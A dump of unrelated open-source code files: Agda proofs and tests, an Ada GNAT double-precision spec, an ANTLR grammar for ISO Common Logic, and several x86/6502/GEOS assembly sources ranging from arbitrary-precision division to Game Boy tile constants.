≡⟨ IntP.distribʳ-⊖-+-pos (2 + len b') (len b') (2 * (1 + len b')) ⟩
2 + len b' + len b' Int.⊖ 2 * (1 + len b')
≡⟨ P.cong (λ x → x Int.⊖ 2 * (1 + len b')) (+-assoc 2 (len b') (len b')) ⟩
2 + (len b' + len b') Int.⊖ 2 * (1 + len b')
≡⟨ P.cong (λ x → 2 + (len b' + len b') Int.⊖ x) (*-distribˡ-+ 2 1 (len b')) ⟩
2 + (len b' + len b') Int.⊖ (2 * 1 + 2 * len b')
≡⟨ P.cong (λ x → 2 + x Int.⊖ (2 + 2 * len b')) (n+n≡2*n (len b')) ⟩
2 + 2 * len b' Int.⊖ (2 + 2 * len b')
≡⟨ IntP.n⊖n≡0 (2 + 2 * len b') ⟩
Int.0ℤ
∎
)
λ a f' →
begin
(Int.+ (op/cost op/deq (cons a f' , b))) Int.+ ((op/deq operateϕ (cons a f' , b)) Int.⊖ (ϕ (cons a f' , b)))
≡⟨⟩
Int.+ (step cost 1 1) Int.+ (step cost 1 (len f' + 2 * len b) Int.⊖ (step cost 1 (1 + len f') + 2 * len b))
≡⟨
cong₂ Int._+_
(cong Int.+_ (step/ext cost 1 1 u))
(cong₂ Int._⊖_
(step/ext cost (len f' + 2 * len b) 1 u)
(cong (_+ 2 * len b) (step/ext cost (1 + len f') 1 u))
)
⟩
Int.+ 1 Int.+ ((len f' + 2 * len b) Int.⊖ (1 + len f' + 2 * len b))
≡⟨ IntP.distribʳ-⊖-+-pos 1 (len f' + 2 * len b) (1 + len f' + 2 * len b) ⟩
1 + (len f' + 2 * len b) Int.⊖ (1 + len f' + 2 * len b)
≡⟨ P.cong (λ x → x Int.⊖ (1 + len f' + 2 * len b)) (P.sym (+-assoc 1 (len f') (2 * len b))) ⟩
1 + len f' + 2 * len b Int.⊖ (1 + len f' + 2 * len b)
≡⟨ IntP.n⊖n≡0 (1 + len f' + 2 * len b) ⟩
Int.0ℤ
∎
where open IntP.≤-Reasoning
all2s : ℕ → List ℕ
all2s n = tabulate {n = n} (λ _ → 2)
sum2s : ∀ n → lsum (all2s n) ≡ 2 * n
sum2s zero = refl
sum2s (suc n) =
begin
2 + lsum (all2s n) ≡⟨ P.cong (λ x → 2 + x) (sum2s n) ⟩
2 + 2 * n ≡⟨ P.cong (λ x → x + 2 * n) (*-identityʳ 2) ⟩
2 * 1 + 2 * n ≡⟨ P.sym (*-distribˡ-+ 2 1 n) ⟩
2 * (1 + n)
∎
where open ≡-Reasoning
all2s/is/acost : ∀ l → ◯ (Amortized l (all2s (length l)))
all2s/is/acost [] u = a/emp
all2s/is/acost ((op/enq x) ∷ os) u = a/cons (op/enq x) 2 os (all2s (length os)) (enq/acost x u) (all2s/is/acost os u)
all2s/is/acost (op/deq ∷ os) u = a/cons op/deq 2 os (all2s (length os)) (acost/weaken z≤n (deq/acost u)) (all2s/is/acost os u)
op/seq/cost≤ϕ₀+2*|l| : ∀ q l → ◯ (Int.+ (op/seq/cost l q) Int.≤ Int.+ (ϕ q + 2 * length l))
op/seq/cost≤ϕ₀+2*|l| q l u =
begin
Int.+ (op/seq/cost l q) ≤⟨ amortized≥cost q l (all2s (length l)) (all2s/is/acost l u) u ⟩
Int.+ (ϕ q + lsum (all2s (length l))) ≡⟨ P.cong (λ x → Int.+ (ϕ q + x)) (sum2s (length l)) ⟩
Int.+ (ϕ q + 2 * length l) ≤⟨ IntP.≤-refl ⟩
Int.+ (ϕ q + 2 * length l)
∎
where open IntP.≤-Reasoning
-- Starting with an empty queue, a sequence of n operations costs at most 2 * n
op/seq≤2*|l| : ∀ l → IsBounded Q (l op/seq emp) (2 * length l)
op/seq≤2*|l| l = bound/relax (λ u → IntP.drop‿+≤+ (op/seq/cost≤ϕ₀+2*|l| emp l u)) (op/seq≤op/seq/cost l emp)
|
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/s-dourea.ads | JCGobbi/Nucleo-STM32G474RE | 0 | 17191 | <gh_stars>0
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S Y S T E M . D O U B L E _ R E A L --
-- --
-- S p e c --
-- --
-- Copyright (C) 2021, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- --
-- --
-- --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package contains routines for supporting floating-point computations
-- in double precision, i.e. using a second number to estimate the error due
-- to rounding and more generally performing computations with twice as many
-- bits of mantissa. It is based on the Double-Double library available at
-- https://www.davidhbailey.com/dhbsoftware written by <NAME> et al.
generic
type Num is digits <>;
package System.Double_Real is
pragma Pure;
type Double_T is record
Hi, Lo : Num;
end record;
function To_Double (N : Num) return Double_T is ((Hi => N, Lo => 0.0));
-- Convert a single to a double real
function To_Single (D : Double_T) return Num is (D.Hi);
-- Convert a double to a single real
function Quick_Two_Sum (A, B : Num) return Double_T
with Pre => A = 0.0 or else abs (A) >= abs (B);
-- Compute A + B and its rounding error exactly, but assume |A| >= |B|
function Two_Sum (A, B : Num) return Double_T;
-- Compute A + B and its rounding error exactly
function Two_Diff (A, B : Num) return Double_T;
-- Compute A - B and its rounding error exactly
function Two_Prod (A, B : Num) return Double_T;
-- Compute A * B and its rounding error exactly
function Two_Sqr (A : Num) return Double_T;
-- Compute A * A and its rounding error exactly
function "+" (A : Double_T; B : Num) return Double_T;
function "-" (A : Double_T; B : Num) return Double_T;
function "*" (A : Double_T; B : Num) return Double_T;
function "/" (A : Double_T; B : Num) return Double_T
with Pre => B /= 0.0;
-- Mixed precision arithmetic operations
function "+" (A, B : Double_T) return Double_T;
function "-" (A, B : Double_T) return Double_T;
function "*" (A, B : Double_T) return Double_T;
function "/" (A, B : Double_T) return Double_T
with Pre => B.Hi /= 0.0;
-- Double precision arithmetic operations
function Sqr (A : Double_T) return Double_T;
-- Faster version of A * A
function "=" (A : Double_T; B : Num) return Boolean is
(A.Hi = B and then A.Lo = 0.0);
function "<" (A : Double_T; B : Num) return Boolean is
(A.Hi < B or else (A.Hi = B and then A.Lo < 0.0));
function "<=" (A : Double_T; B : Num) return Boolean is
(A.Hi < B or else (A.Hi = B and then A.Lo <= 0.0));
function ">" (A : Double_T; B : Num) return Boolean is
(A.Hi > B or else (A.Hi = B and then A.Lo > 0.0));
function ">=" (A : Double_T; B : Num) return Boolean is
(A.Hi > B or else (A.Hi = B and then A.Lo >= 0.0));
-- Mixed precision comparisons
function "=" (A, B : Double_T) return Boolean is
(A.Hi = B.Hi and then A.Lo = B.Lo);
function "<" (A, B : Double_T) return Boolean is
(A.Hi < B.Hi or else (A.Hi = B.Hi and then A.Lo < B.Lo));
function "<=" (A, B : Double_T) return Boolean is
(A.Hi < B.Hi or else (A.Hi = B.Hi and then A.Lo <= B.Lo));
function ">" (A, B : Double_T) return Boolean is
(A.Hi > B.Hi or else (A.Hi = B.Hi and then A.Lo > B.Lo));
function ">=" (A, B : Double_T) return Boolean is
(A.Hi > B.Hi or else (A.Hi = B.Hi and then A.Lo >= B.Lo));
-- Double precision comparisons
generic
type Uns is mod <>;
function From_Unsigned (U : Uns) return Double_T;
-- Convert Uns to Double_T
generic
type Uns is mod <>;
function To_Unsigned (D : Double_T) return Uns
with Pre => D >= 0.0;
-- Convert Double_T to Uns with truncation
end System.Double_Real;
|
test/Succeed/Tactic.agda | hborum/agda | 3 | 11226 | <filename>test/Succeed/Tactic.agda
open import Common.Prelude
open import Common.Reflection
open import Common.Equality
postulate
trustme : ∀ {a} {A : Set a} {x y : A} → x ≡ y
magic : List (Arg Type) → Term → Tactic
magic _ _ = give (def (quote trustme) [])
id : ∀ {a} {A : Set a} → A → A
id x = x
science : List (Arg Type) → Term → Tactic
science _ _ = give (def (quote id) [])
by-magic : ∀ n → n + 4 ≡ 3
by-magic n = tactic magic
by-science : ∀ n → 0 + n ≡ n
by-science n = tactic science | refl
|
programs/oeis/174/A174192.asm | neoneye/loda | 22 | 82917 | <gh_stars>10-100
; A174192: Expansion of (1-x+2x^2)/ ((1-x)*(1-2x-x^2)).
; 1,2,7,18,45,110,267,646,1561,3770,9103,21978,53061,128102,309267,746638,1802545,4351730,10506007,25363746,61233501,147830750,356895003,861620758,2080136521,5021893802,12123924127
add $0,1
seq $0,78343 ; a(0) = -1, a(1) = 2; a(n) = 2*a(n-1) + a(n-2).
sub $0,1
|
clif/CLIF.g4 | augustand/grammars-v4 | 1 | 20 | <reponame>augustand/grammars-v4<gh_stars>1-10
/*
[The "BSD licence"]
Copyright (c) 2015 <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
Derived from ISO/IEC STANDARD 24707 First edition 2007-10-01
http://standards.iso.org/ittf/PubliclyAvailableStandards/c039175_ISO_IEC_24707_2007%28E%29.zip
with bug fixes from
http://metadata-standards.org/Document-library/Documents-by-number/WG2-N1701-N1750/WG2N1703_24707-defect-report.pdf
example clif ontologies available from COLORE
http://stl.mie.utoronto.ca/colore/
*/
grammar CLIF;
//A.2.3.1 Term sequence
termseq
: (term | SEQMARK)*
;
//A.2.3.2 Name
interpretedname
: NUMERAL
| QUOTEDSTRING
;
interpretablename
: NAMECHARSEQUENCE
| ENCLOSEDNAME
;
name
: interpretedname
| interpretablename
;
//A.2.3.3 Term
term
: name
| OPEN operator termseq CLOSE
| OPEN 'cl-comment' QUOTEDSTRING term CLOSE
;
operator
: term
;
//A.2.3.4 Equation
equation
: OPEN '=' term term CLOSE
;
//A.2.3.5 Sentence
sentence
: atomsent
| boolsent
| quantsent
| commentsent
;
//A.2.3.6 Atomic sentence
atomsent
: equation
| atom
;
atom
: OPEN predicate termseq CLOSE
| OPEN term OPEN 'cl-roleset' (OPEN name term CLOSE) CLOSE CLOSE
;
predicate
: term
;
//A.2.3.7 Boolean sentence
boolsent
: OPEN ('and' | 'or') sentence* CLOSE
| OPEN ('if' | 'iff') sentence sentence CLOSE
| OPEN 'not' sentence CLOSE
;
//A.2.3.8 Quantified sentence
quantsent
: OPEN ('forall' | 'exists') interpretablename? boundlist sentence CLOSE
;
boundlist
: OPEN
( interpretablename
| SEQMARK
| OPEN (interpretablename | SEQMARK) term CLOSE
)*
CLOSE
;
//A.2.3.9 Commented sentence
commentsent
: OPEN 'cl-comment' ENCLOSEDNAME sentence CLOSE
;
//A.2.3.10 Module
module
: OPEN 'cl-module' interpretablename (OPEN 'cl-excludes' name* CLOSE)? cltext? CLOSE
;
//A.2.3.11 Phrase
phrase
: sentence
| module
| OPEN 'cl-imports' interpretablename CLOSE
| OPEN 'cl-comment' ENCLOSEDNAME cltext? CLOSE
;
text
: phrase+
;
cltext
: module
| namedtext
| text
;
namedtext
: OPEN 'cl-text' interpretablename text? CLOSE ;
//A.2.2.2 Delimiters
OPEN : '(';
CLOSE : ')';
STRINGQUOTE : '\'';
NAMEQUOTE : '"';
BACKSLASH : '\\';
//A.2.2.3 Characters
fragment
CHAR : [0-9~!#$%^&*_+{}|:<>?`\-=\[\];,./A-Za-z];
fragment
DIGIT : [0-9];
fragment
HEXA : [0-9A-Fa-f];
//A.2.2.4 Quoting within strings
fragment
NONASCII
: '\\' 'u' HEXA HEXA HEXA HEXA
| '\\' 'U' HEXA HEXA HEXA HEXA HEXA HEXA
;
fragment
INNERSTRINGQUOTE : '\'' ;
fragment
INNERNAMEQUOTE : '\"' ;
fragment
INNERBACKSLASH : '\\';
NUMERAL : DIGIT+;
SEQMARK : '...' CHAR*;
//A.2.2.5 Quoted strings
QUOTEDSTRING : STRINGQUOTE (WHITE | OPEN | CLOSE | CHAR | NONASCII | NAMEQUOTE | INNERSTRINGQUOTE | INNERBACKSLASH )* STRINGQUOTE ;
ENCLOSEDNAME : NAMEQUOTE (WHITE | OPEN | CLOSE | CHAR | NONASCII | STRINGQUOTE | INNERNAMEQUOTE )* NAMEQUOTE ;
//A.2.2.6 Reserved tokens
EQUAL : '=';
AND : 'and';
OR : 'or';
IFF : 'iff';
IF : 'if';
FORALL : 'forall';
EXISTS : 'exists';
NOT : 'not';
CL_ROLESET : 'cl-roleset';
CL_TEXT : 'cl-text';
CL_IMPORTS : 'cl-imports';
CL_EXCLUDES : 'cl-excludes';
CL_MODULE : 'cl-module';
CL_COMMENT : 'cl-comment';
CL_PREFIX : 'cl-prefix';
//A.2.2.7 Name character sequence
NAMECHARSEQUENCE
: ( CHAR (CHAR | STRINGQUOTE | NAMEQUOTE | BACKSLASH)* )
;
// A.2.2.1 White space
WHITE
: [ \t\n\r\v] -> skip
;
BLOCKCOMMENT
: '/*' (BLOCKCOMMENT | .)*? '*/' -> skip // nesting allowed (but should it be?)
;
LineComment
: '//' ~[\u000A\u000D]* -> skip
;
|
src/main/fragment/mos6502-common/vbuyy=vbuc1.asm | jbrandwood/kickc | 2 | 104909 | ldy #{c1}
|
Library/User/User/userFlowMisc.asm | steakknife/pcgeos | 504 | 168180 | <filename>Library/User/User/userFlowMisc.asm
COMMENT @-----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: UserInterface/User
FILE: userFlowMisc.asm
ROUTINES:
Name Description
---- -----------
; Global routines, callable from ANY thread
;
; Button utilities
;
GLB FlowTranslatePassiveButton ; Translate a
; MSG_META_PRE_PASSIVE_BUTTON or
; MSG_META_POST_PASSIVE_BUTTON to a
; generic method
GLB FlowGetUIButtonFlags ; Return the current UIButtonFlag
GLB FlowCheckKbdShortcut
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
Doug 12/89 Cleaned up file organization
DESCRIPTION:
This file contains routines to handle input processing for the
User Interface.
$Id: userFlowMisc.asm,v 1.1 97/04/07 11:46:00 newdeal Exp $
-------------------------------------------------------------------------------@
FlowCommon segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: FlowTranslatePassiveButton
DESCRIPTION: Translate a MSG_META_PRE_PASSIVE_BUTTON or
MSG_META_POST_PASSIVE_BUTTON to a generic method
CALLED BY: GLOBAL
PASS:
ax - MSG_META_PRE_PASSIVE_BUTTON or MSG_META_POST_PASSIVE_BUTTON
cx, dx - mouse position (not used here, but left intact through call)
bp - Data as passed in bp to above methods:
low - ButtonInfo
mask BI_PRESS - set if press
mask BI_DOUBLE_PRESS - set if double-press
mask BI_B3_DOWN - state of button 3
mask BI_B2_DOWN - state of button 2
mask BI_B1_DOWN - state of button 1
mask BI_B0_DOWN - state of button 0
high - UIFunctionsActive
RETURN:
ax, cx, dx, bp - translated method (ready to send)
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
------------------------------------------------------------------------------@
FlowTranslatePassiveButton proc far
if (0)
push ds
push ax
mov ax, segment idata
mov ds, ax
pop ax
cmp ax,MSG_META_PRE_PASSIVE_BUTTON
mov ax,MSG_META_PRE_PASSIVE_START_SELECT - MSG_META_START_SELECT
jz FTPB_10
mov ax,MSG_META_POST_PASSIVE_START_SELECT - MSG_META_START_SELECT
FTPB_10:
EC < tst ds:[activeMouseMethod] >
EC < ERROR_Z UI_ERROR_CURRENT_MOUSE_MSG_SHOULD_NOT_BE_NULL >
add ax,ds:[activeMouseMethod] ;add method
;get [UIFunctionsActive | buttonInfo]
; mov bp,word ptr ds:[activeMouseButtonInfo]
pop ds
else
push bx
mov bx, bp
cmp ax, MSG_META_PRE_PASSIVE_BUTTON
mov ax, MSG_META_PRE_PASSIVE_START_SELECT - MSG_META_START_SELECT
jz prePostDone
mov ax,MSG_META_POST_PASSIVE_START_SELECT - MSG_META_START_SELECT
prePostDone:
test bh, mask UIFA_SELECT
jnz startSelect
test bh, mask UIFA_MOVE_COPY
jnz moveCopy
test bh, mask UIFA_FEATURES
jnz features
;other:
add ax, MSG_META_START_OTHER
jmp short haveFunction
startSelect:
add ax, MSG_META_START_SELECT
jmp short haveFunction
moveCopy:
add ax, MSG_META_START_MOVE_COPY
jmp short haveFunction
features:
add ax, MSG_META_START_FEATURES
haveFunction:
test bl, mask BI_PRESS
jnz havePressRelease
inc ax ; switch to END method if release
havePressRelease:
pop bx
endif
ret
FlowTranslatePassiveButton endp
FlowCommon ends
;
;-------------------
;
Resident segment resource
COMMENT @----------------------------------------------------------------------
FUNCTION: FlowGetUIButtonFlags
DESCRIPTION: Return the current UIButtonFlags
CALLED BY: GLOBAL
PASS:
none
RETURN:
al - UIButtonFlags (UIBF_CLICK_TO_TYPE, etc)
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Doug 5/91 Changed name, changed to only get ButtonFlags
------------------------------------------------------------------------------@
FlowGetUIButtonFlags proc far
push ds
push ax
mov ax, segment idata
mov ds, ax
pop ax
mov al, ds:[uiButtonFlags] ; get UIButtonFlags var
pop ds
ret
FlowGetUIButtonFlags endp
ife FULL_EXECUTE_IN_PLACE
Resident ends
;
;---------------
;
Navigation segment resource
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FlowCheckKbdShortcut
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check to see if the key event maps to a shortcut.
CALLED BY: utility
PASS: ds:si = pointer to a shortcut table.
(ds:si *can* be pointing to the movable XIP code resource.)
ax = # of entries in the table.
same as MSG_META_KBD_CHAR:
cl - Character (Chars or VChar)
ch - CharacterSet (CS_BSW or CS_CONTROL)
dl - CharFlags
dh - ShiftState (left from conversion)
bp low - ToggleState
bp high - scan code
RETURN: si = offset into table where shortcut was found.
carry set if a kbd shortcut match was found.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Should cache entry point and deal with changing keyboard
drivers
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 2/20/90 Initial version
Eric/Tony 2/21/90 moved from User/Text to User/User/userFlowUtils
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FlowCheckKbdShortcut proc far
uses bx, es, ds, di
.enter
sub sp, size dword
mov di, sp
segmov es, ds ; es:si <- ptr to table.
push ax, si
mov ax, GDDT_KEYBOARD
call GeodeGetDefaultDriver ; ax <- keyboard driver
mov bx, ax ; bx <- kbd driver handle.
call GeodeInfoDriver ; ds:si <- ptr to struct.
mov ax, ds:[si].DIS_strategy.segment
mov bx, ds:[si].DIS_strategy.offset
mov ({fptr} ss:[di]).segment, ax ; Save strategy routine addr.
mov ({fptr} ss:[di]).offset, bx
pop ax, si
mov bx, di ; ss:bx = entry point
mov di, DR_KBD_CHECK_SHORTCUT
call {fptr} ss:[bx] ; Call the driver.
lea sp, ss:[bx][size dword] ; preserve carry
.leave
ret
FlowCheckKbdShortcut endp
if FULL_EXECUTE_IN_PLACE
Resident ends
else
Navigation ends
endif
|
LibSource/mpir/mpn/x86_64/nehalem/rsh_divrem_hensel_qr_1_2.asm | ekzyis/CrypTool-2 | 12 | 102695 | <reponame>ekzyis/CrypTool-2
dnl X86_64 mpn_rsh_divrem_hensel_qr_1_2
dnl Copyright 2009 <NAME>
dnl This file is part of the MPIR Library.
dnl The MPIR Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published
dnl by the Free Software Foundation; either version 2.1 of the License, or (at
dnl your option) any later version.
dnl The MPIR Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the MPIR Library; see the file COPYING.LIB. If not, write
dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
dnl Boston, MA 02110-1301, USA.
include(`../config.m4')
C (rdi,rdx)=( (rsi,rdx)-r9 / rcx ) >> r8 rdx>=1
C rax=hensel remainder from div
C This is divrem_hensel_1_2 with shifting on the output of the quotient
define(`MOVQ',`movd')
ASM_START()
PROLOGUE(mpn_rsh_divrem_hensel_qr_1_2)
C // 3limb minimum for the mo
mov %r9,%r10
mov $2,%r9
sub %rdx,%r9
lea -16(%rdi,%rdx,8),%rdi
lea -16(%rsi,%rdx,8),%rsi
push %r12
push %r13
push %r14
mov %rcx,%rdx
C // rdx is 3 bit inverse
mov $64,%rax
sub %r8,%rax
MOVQ %r8,%mm0
MOVQ %rax,%mm1
mov %rdx,%rax
imul %ecx,%edx
mov $2,%r11
sub %rdx,%r11
imul %eax,%r11d
C //r11 has 4 bits
mov %r11,%rax
imul %ecx,%r11d
mov $2,%rdx
sub %r11,%rdx
imul %eax,%edx
C //rdx has 8 bits
mov %rdx,%rax
imul %ecx,%edx
mov $2,%r11
sub %rdx,%r11
imul %eax,%r11d
C //r11 has 16 bits
mov %r11,%rax
imul %ecx,%r11d
mov $2,%rdx
sub %r11,%rdx
imul %eax,%edx
C // rdx has 32 bits
mov %rdx,%rax
imul %rcx,%rdx
mov $2,%r11
sub %rdx,%r11
imul %rax,%r11
C //r11 has 64 bits
mov %r11,%rax
mov %r11,%r12
mul %rcx
neg %rdx
imul %rdx,%r12
C // r12,r11 has 128 bits
C // for the first limb we can not store (as we have to shift) so we need to
C // do first limb separately , we could do it as normal as an extention of
C // the loop , but if we do it as a 1 limb inverse then we can start it
C // eailer , ie interleave it with the calculation of the 2limb inverse
mov %r11,%r13
mov %r12,%r14
mov (%rsi,%r9,8),%r11
sub %r10,%r11
sbb %r10,%r10
imul %r13,%r11
MOVQ %r11,%mm2
psrlq %mm0,%mm2
mov %rcx,%rax
mul %r11
mov 8(%rsi,%r9,8),%r11
mov 16(%rsi,%r9,8),%r12
add %r10,%r10
sbb %rdx,%r11
sbb $0,%r12
sbb %r10,%r10
add $2,%r9
jc L(skiplp)
ALIGN(16)
L(lp):
mov %r12,%r8
mov %r13,%rax
mul %r11
MOVQ %rax,%mm3
movq %mm3,%mm4
psllq %mm1,%mm3
psrlq %mm0,%mm4
por %mm3,%mm2
movq %mm2,-16(%rdi,%r9,8)
imul %r14,%r11
imul %r13,%r12
add %r11,%rdx
add %r12,%rdx
mov 8(%rsi,%r9,8),%r11
mov 16(%rsi,%r9,8),%r12
MOVQ %rdx,%mm3
movq %mm3,%mm2
psllq %mm1,%mm3
psrlq %mm0,%mm2
por %mm3,%mm4
movq %mm4,-8(%rdi,%r9,8)
mov %rcx,%rax
mul %rdx
add %r10,%r10
sbb $0,%r11
sbb $0,%r12
sbb %r10,%r10
cmp %rax,%r8
sbb %rdx,%r11
sbb $0,%r12
sbb $0,%r10
add $2,%r9
jnc L(lp)
L(skiplp):
mov %r12,%r8
mov %r13,%rax
mul %r11
MOVQ %rax,%mm3
movq %mm3,%mm4
psllq %mm1,%mm3
psrlq %mm0,%mm4
por %mm3,%mm2
movq %mm2,-16(%rdi,%r9,8)
imul %r14,%r11
imul %r13,%r12
add %r11,%rdx
add %r12,%rdx
cmp $0,%r9
jne L(case0)
L(case1):
mov 8(%rsi,%r9,8),%r11
MOVQ %rdx,%mm3
movq %mm3,%mm2
psllq %mm1,%mm3
psrlq %mm0,%mm2
por %mm3,%mm4
movq %mm4,-8(%rdi,%r9,8)
mov %rcx,%rax
mul %rdx
add %r10,%r10
sbb $0,%r11
sbb %r10,%r10
cmp %rax,%r8
sbb %rdx,%r11
sbb $0,%r10
mov %r11,%rax
imul %r13,%rax
MOVQ %rax,%mm3
movq %mm3,%mm4
psllq %mm1,%mm3
psrlq %mm0,%mm4
por %mm3,%mm2
movq %mm2,(%rdi,%r9,8)
movq %mm4,8(%rdi,%r9,8)
mul %rcx
add %r10,%r10
mov $0,%rax
adc %rdx,%rax
pop %r14
pop %r13
pop %r12
emms
ret
L(case0):
MOVQ %rdx,%mm3
movq %mm3,%mm2
psllq %mm1,%mm3
psrlq %mm0,%mm2
por %mm3,%mm4
movq %mm4,-8(%rdi,%r9,8)
movq %mm2,(%rdi,%r9,8)
mov %rcx,%rax
mul %rdx
cmp %rax,%r8
mov $0,%rax
adc %rdx,%rax
sub %r10,%rax
pop %r14
pop %r13
pop %r12
emms
ret
EPILOGUE()
|
agda-stdlib/src/Data/Product/N-ary/Categorical.agda | DreamLinuxer/popl21-artifact | 5 | 5131 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- This module is DEPRECATED. Please use Data.Vec.Recursive.Categorical
-- instead.
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Product.N-ary.Categorical where
{-# WARNING_ON_IMPORT
"Data.Product.N-ary.Categorical was deprecated in v1.1.
Use Data.Vec.Recursive.Categorical instead."
#-}
open import Data.Vec.Recursive.Categorical public
|
Chapter 09/ifelse/ifelse/ifelse-Optimized.asm | bpbpublications/Implementing-Reverse-Engineering | 0 | 100917 | ; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.30319.01
TITLE C:\JitenderN\REBook\ifelse\ifelse\ifelse.cpp
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG4679 DB 'Input Number1 : ', 00H
ORG $+3
$SG4680 DB '%d', 00H
ORG $+1
$SG4681 DB 'Input Number2 : ', 00H
ORG $+3
$SG4682 DB '%d', 00H
ORG $+1
$SG4684 DB 'Number1 and Number2 are equal', 0aH, 00H
ORG $+1
$SG4686 DB 'Number1 and Number2 are not equal', 0aH, 00H
CONST ENDS
PUBLIC _main
EXTRN _scanf:PROC
EXTRN _printf:PROC
; Function compile flags: /Ogtpy
_TEXT SEGMENT
_iNumber1$ = -8 ; size = 4
_iNumber2$ = -4 ; size = 4
_main PROC
; File c:\jitendern\rebook\ifelse\ifelse\ifelse.cpp
; Line 7
sub esp, 8
; Line 10
push OFFSET $SG4679
call _printf
; Line 11
lea eax, DWORD PTR _iNumber1$[esp+12]
push eax
push OFFSET $SG4680
call _scanf
; Line 12
push OFFSET $SG4681
call _printf
; Line 13
lea ecx, DWORD PTR _iNumber2$[esp+24]
push ecx
push OFFSET $SG4682
call _scanf
; Line 14
mov edx, DWORD PTR _iNumber1$[esp+32]
add esp, 24 ; 00000018H
cmp edx, DWORD PTR _iNumber2$[esp+8]
jne SHORT $LN2@main
; Line 15
push OFFSET $SG4684
; Line 17
call _printf
add esp, 4
; Line 18
xor eax, eax
add esp, 8
ret 0
$LN2@main:
; Line 17
push OFFSET $SG4686
call _printf
add esp, 4
; Line 18
xor eax, eax
add esp, 8
ret 0
_main ENDP
_TEXT ENDS
END
|
projects/Links_Awakening_gb.windfish/configuration/datatypes.asm | jverkoey/awaken | 68 | 161701 | <filename>projects/Links_Awakening_gb.windfish/configuration/datatypes.asm
; ANIMATED_TILE [Enumerated] [Hex]
ANIMATED_TILE_NONE EQU $00
ANIMATED_TILE_COUNTER EQU $01
ANIMATED_TILE_TIDE EQU $02
ANIMATED_TILE_VILLAGE EQU $03
ANIMATED_TILE_DUNGEON_1 EQU $04
ANIMATED_TILE_UNDERGROUND EQU $05
ANIMATED_TILE_LAVA EQU $06
ANIMATED_TILE_DUNGEON_2 EQU $07
ANIMATED_TILE_WARP_TILE EQU $08
ANIMATED_TILE_CURRENTS EQU $09
ANIMATED_TILE_WATERFALL EQU $0A
ANIMATED_TILE_WATERFALL_SLOW EQU $0B
ANIMATED_TILE_WATER_DUNGEON EQU $0C
ANIMATED_TILE_LIGHT_BEAM EQU $0D
ANIMATED_TILE_CRYSTAL_BLOCK EQU $0E
ANIMATED_TILE_BUBBLES EQU $0F
ANIMATED_TILE_WEATHER_VANE EQU $10
